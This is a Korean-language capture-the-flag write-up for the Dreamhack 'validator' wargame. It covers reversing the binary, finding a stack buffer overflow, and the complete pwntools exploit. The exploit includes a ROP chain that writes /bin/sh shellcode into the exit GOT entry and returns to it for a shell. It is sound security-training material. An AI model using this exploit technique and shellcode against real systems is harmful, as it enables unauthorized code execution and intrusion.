[dreamhack] validator writeup

1. 문제

thumbnail
validator

취약한 인증 프로그램을 익스플로잇해 flag를 획득하세요!
Hint: 서버 환경에 설치된 5.4.0 이전 버전의 커널에서는, NX Bit가 비활성화되어 있는 경우 읽기 권한이 있는 메모리에 실행 권한이 존재합니다.
5.4.0 이후 버전에서는 스택 영역에만 실행 권한이 존재합니다.

https://dreamhack.io/wargame/challenges/94

2. 풀이

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  memset(s, 0, 0x10uLL);
  read(0, s, 0x400uLL);
  sub_400580((__int64)s, 0x80uLL);
  return 0LL;
}

__int64 __fastcall sub_400580(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((int)i + a1) != aDreamhack[i] )
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(char *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}

소스코드가 존재하지않고 바이너리만 존재한다. main함수에서는 0x400만큼 읽고, 이를 sub_400580함수에 넘겨준다. 해당 함수에서는 두개의 검증을 수행하는데,

  • 0에서 9까지 10개의 문자가 Dreamhack이라는 변수에 들어있는 문자열과 같은지 검사하고,
  • 11부터 0x80까지 각 문자의 ascii코드가 1씩 감소하는지 검증한다.

Dreamhack 변수에는 아래와 같은 값이 존재한다.

  * .data:0000000000601040 aDreamhack      db 'DREAMHACK!',0       ; DATA XREF: sub_400580+36↑o

read함수를 통해 읽는 크기가 0x400인데 들어가는 변수 s0x80 크기이므로 리턴 주소를 덮어쓸 수 있는 bof 취약점이 존재한다.

또한 checksec을 확인해보면 아래와 같이 걸려있는 보호기법이 없기 때문에 특정 위치에 쉘코드를 쓰고, 해당 주소로 리턴주소를 조작하면 될 것이다.

ubuntu@instance-20250406-1126:~/dreamhack/level2/validator$ checksec validator_server
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/validator/validator_server'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments

위에서 언급한 것처럼 쉘코드를 어딘가에 쓰고, 해당 주소로 리턴 시켜야하는데, 어디 주소를 알 수 있을까 생각해봐야한다. 힌트로 5.4.0이전 커널에서는 NX 권한이 비활성화될 경우 읽기 권한만 있어도 실행권한이 부여된다고 한다. 그래서 우선 gdbvmmap을 통해 실행권한을 확인해봤다.

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r-xp     1000      0 validator_dist
          0x600000           0x601000 r--p     1000      0 validator_dist
          0x601000           0x602000 rw-p     1000   1000 validator_dist
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7db0000 r-xp   188000  28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7db0000     0x7ffff7dff000 r--p    4f000 1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dff000     0x7ffff7e03000 r--p     4000 1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e03000     0x7ffff7e05000 rw-p     2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e05000     0x7ffff7e12000 rw-p     d000      0 [anon_7ffff7e05]
    0x7ffff7fb2000     0x7ffff7fb5000 rw-p     3000      0 [anon_7ffff7fb2]
    0x7ffff7fbd000     0x7ffff7fbf000 rw-p     2000      0 [anon_7ffff7fbd]
    0x7ffff7fbf000     0x7ffff7fc3000 r--p     4000      0 [vvar]
    0x7ffff7fc3000     0x7ffff7fc5000 r-xp     2000      0 [vdso]
    0x7ffff7fc5000     0x7ffff7fc6000 r--p     1000      0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc6000     0x7ffff7ff1000 r-xp    2b000   1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000  2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000  36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000  38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rwxp    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

스택주소를 알면 가장 좋겠지만 알 수 있는 방법은 없다. No-PIE이기 때문에 주소가 바뀌지않고, 0x601000부터 0x602000사이의 GOT영역이자 bss영역에 읽기 및 쓰기 권한이 모두 존재하는 것을 이용하기로 했다.

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/ubuntu/dreamhack/level2/validator/validator_dist:
GOT protection: Partial RELRO | Found 3 GOT entries passing the filter
[0x601018] memset@GLIBC_2.2.5 -> 0x400466 (memset@plt+6) ◂— push 0 /* 'h' */
[0x601020] read@GLIBC_2.2.5 -> 0x400476 (read@plt+6) ◂— push 1
[0x601028] exit@GLIBC_2.2.5 -> 0x400486 (exit@plt+6) ◂— push 2

ROP 기법을 이용해서 exit함수의 got 주소에 read함수를 이용해서 쉘코드를 써주고, 해당 주소로 점프하면 해결될 것이다.

최종 exploit은 아래와 같다. 먼저 Dreamhack변수에 들어있는 문자열 DREAMHACK!과 똑같이 맞춰주고, 10번째 문자는 아무거나 추가한다. 그리고 11번째부터 sfp를 포함한 136번째까지는 136부터 1씩 감소하도록 바이트를 추가해준다. 이후에는 그냥 ROP를 수행하였다.

from pwn import *

p = process("./validator_dist")
p = remote("host3.dreamhack.games", 22702)
elf = ELF("./validator_dist")

pop_rdi = 0x00000000004006f3
pop_rsi_r15 = 0x00000000004006f1 
pop_rdx = 0x000000000040057b
read_plt = 0x400470

shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

payload = b"DREAMHACK!"
payload += b'a'

for i in range(11, 136, 1):
    payload += bytes([136 - i])

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(elf.got["exit"])
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0x200)
payload += p64(read_plt)
payload += p64(elf.got["exit"])

p.send(payload)

sleep(1)
p.send(shellcode)

p.interactive()

실행하는 커널의 버전이 5.4.0버전보다는 높아서… 로컬에서는 안먹혔지만 서버환경에다가 하니까 먹혔다.


해결~